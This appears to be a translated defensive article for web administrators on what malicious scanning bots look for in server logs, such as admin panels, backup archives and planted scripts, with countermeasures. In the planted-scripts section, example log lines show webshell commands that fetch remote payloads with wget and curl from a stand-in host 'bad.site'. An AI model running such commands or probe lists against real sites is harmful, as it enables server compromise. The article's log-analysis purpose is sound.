What and why are they looking for on the sites “bots of the dark side of power”

What are the “dark side bots” ? Let's denote this way scanning programs (search robots, spiders) that are used by intruders. Unlike search engine robots [1, 2], “dark side bots” (hereinafter referred to as bots for short) are searching for vulnerabilities, malicious software bookmarks, confidential information, etc. Actions similar to bot operation can also be performed by man, but the use of the bot, for obvious reasons, more efficient and more common.

In preparing the material used magazines (web servers and content management systems) of several sites. Selected the most typical and most illustrative examples.

What and why are they looking for?

Administrative panel

An administrative panel, control panel or admin panel is one of the most common goals. Tasks: determine the used CMS, set the exact address of the panel script for further password selection.
')
Examples (for CMS WordPress [3]):

example.org/wp-login.php (head-on check)
example.org/wp-admin (sample directories are being searched)
example.org/dir/dir/wp-login.php (all available directories are searched)
example.org/wp-admin/images/wordpress-logo.png (an attempt to disguise a scan when it is not the script itself that is being checked, but a characteristic image or a css file)

Such scanning is ongoing and should not worry you much, especially if you are not using CMS WordPress, as in the example above. As a countermeasure, it is advisable to restrict access to the directory with the administrative panel scripts by using the web server (.htaccess and .htpasswd for Apache), not forgetting the mandatory strength of passwords in the used CMS.


As can be seen from these examples, attempts are being made to find not only CMS administrative panels, but also support systems or administrative applications. Various variants of names of scripts and directories are enumerated, including the most common version suffixes. Some administrators believe that by changing the name of the script or directory (while maintaining the readability and clarity of the name), they will be able to outwit the bots and protect the system. Unfortunately, this is far from the case.

Archives with distinguished names

Archives with backup copies or installation packages are valuable booty for intruders, since they may contain passwords for access to the administrative panel, configuration files, access parameters for the DBMS, full copies of databases, etc.

Examples:

example.org/example.org.tar.gz
example.org/backup.zip
example.org/example.org.zip
example.org/public_html.tar.gz
example.org/public_html.zip
example.org/www.zip
example.org/dir/dir.zip

Note that many archivers, incl. Installed on servers of hosting companies, by default set the name of the archive file equal to the directory that is archived or in which the data intended for archiving is located. This feature is widely used by bots, as can be seen from the examples above.
Sometimes you can find attempts to select the names of archive files from common backup systems. Using the standard algorithm for generating file names and update dates, the number of combinations is significantly reduced. Despite the fact that some site backup systems have built-in protection mechanisms (such as .htaccess with “deny from all”), they may not be effective when changing the web server and for some other reasons.

It is advisable to quickly delete files with archives that contain important or confidential information, since they are constantly in the area of ​​interest of bots.

Traps

If any suspicious complaints are detected during the log analysis process, the administrator has a desire to understand the situation more deeply. The attackers are guided by this.

From the logs, it is usually possible to restore the value of the HTTP referer field. This field client (bot) can set arbitrarily, so the administrator must exercise some caution when handling the data obtained. The options are: a link to a phishing site or a site with malware, an advertising link, the execution of a script compressed by the system to shorten the links.

It is better not to consider the value of the HTTP referer field as reliable information and, if you click on the link, you really want to check the link on the sites of the antivirus companies and VirusTotoal.

All of this should be known and understood, but we recall that it is strictly forbidden to follow unknown links, especially when you are working on a server with administrator privileges.
Examples of links, for obvious reasons, we will not give.

"Magic" catalogs

What directories (subsections) are used by bots most often? We give examples without additional comments, focusing only on the relative frequency. It should immediately make a reservation that the sample depends on the surveyed sites and the inclusion (exclusion) of the directories used to search for administrative panels.

Malicious software bookmarks

First, consider the examples:

example.org/explore.php
example.org/images/join.php
example.org/images/register.php
example.org/images/signup.php
example.org/images/stories/busuk.inc.php
example.org/images/webadmin.php
example.org/libraries/libraries.php
example.org/stories/food.php
example.org/tmp/petx.php
example.org/xmlrpc.php

The files listed above should not be present on [investigated] sites. If you have a large enough sample from several sites, you can select such targeted attempts. Pay attention to additional examples illustrating the use of such scripts by hackers:

example.org/images/do.php?act=reg
example.org/images/stories/racrew.php?cmd=wget http://bad.site/img/icons/tempe.gif; mv tempe.gif menu.php
example.org/naskleng.php?cmd=wget http://bad.site/components/com_content/teli.tar.gz; curl -O http://bad.site/components/com_content/teli.tar.gz; lwp-download http: //bad.site…

Where do they come from? As a rule, everything is trivial: warez or hacking (through outdated and not updated on time CMS or components, etc.).

Timeless classics - SQL injection and directory navigation

We confine ourselves to examples without detailed reasoning what it is and how it should work, according to the intention of the authors.

Instead of conclusion

View and analyze logs of operating systems (not just web). This may come in handy at the most inopportune moment.
Homework [Homegrown] web honeypot do it yourself .